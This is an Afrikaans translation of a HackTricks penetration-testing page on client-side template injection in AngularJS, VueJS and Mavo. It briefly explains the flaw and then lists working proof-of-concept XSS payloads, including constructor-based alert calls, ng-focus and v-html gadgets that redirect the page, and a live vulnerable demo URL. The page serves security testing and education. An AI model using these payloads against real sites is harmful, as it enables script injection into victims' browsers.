hacktricks/pentesting-web/client-side-template-injection-csti.md

6.8 KiB

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Opsomming

Dit is soos 'n Bedienerkant-sjablooninspuiting maar in die kliënt. Die SSTI kan jou toelaat om kode uit te voer op die afgeleë bediener, die CSTI kan jou toelaat om arbitrêre JavaScript-kode in die slagoffer se blaaier uit te voer.

Toetsing vir hierdie kwesbaarheid is baie soortgelyk as in die geval van SSTI, die tolk verwag 'n sjabloon en sal dit uitvoer. Byvoorbeeld, met 'n lading soos {{ 7-7 }}, as die program kwesbaar is, sal jy 'n 0 sien, en indien nie, sal jy die oorspronklike sien: {{ 7-7 }}

AngularJS

AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur aantekeninge bekend as riglyne, 'n noemenswaardige een is ng-app. Hierdie riglyn maak dit vir AngularJS moontlik om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhakies moontlik maak.

In scenario's waar gebruikersinvoer dinamies in die HTML-lyf ingevoeg word met ng-app gemerk, is dit moontlik om arbitrêre JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die inset te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Jy kan 'n baie basiese aanlynvoorbeeld van die kwesbaarheid in AngularJS vind by http://jsfiddle.net/2zs2yv7o/ en in Burp Suite Academy

{% hint style="danger" %} Angular 1.6 het die sandput verwyder so vanaf hierdie weergawe behoort 'n lading soos {{constructor.constructor('alert(1)')()}} of <input ng-focus=$event.view.alert('XSS')> te werk. {% endhint %}

VueJS

Jy kan 'n kwesbare Vue-implementering vind by https://vue-client-side-template-injection-example.azu.now.sh/
Werkende lading: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

En die bronkode van die kwesbare voorbeeld hier: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

'n Werklik goeie pos oor CSTI in VUE kan gevind word op https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Krediet: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Krediet: Mario Heiderich

Kyk na meer VUE-pakkette in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Pakkie:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Meer payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: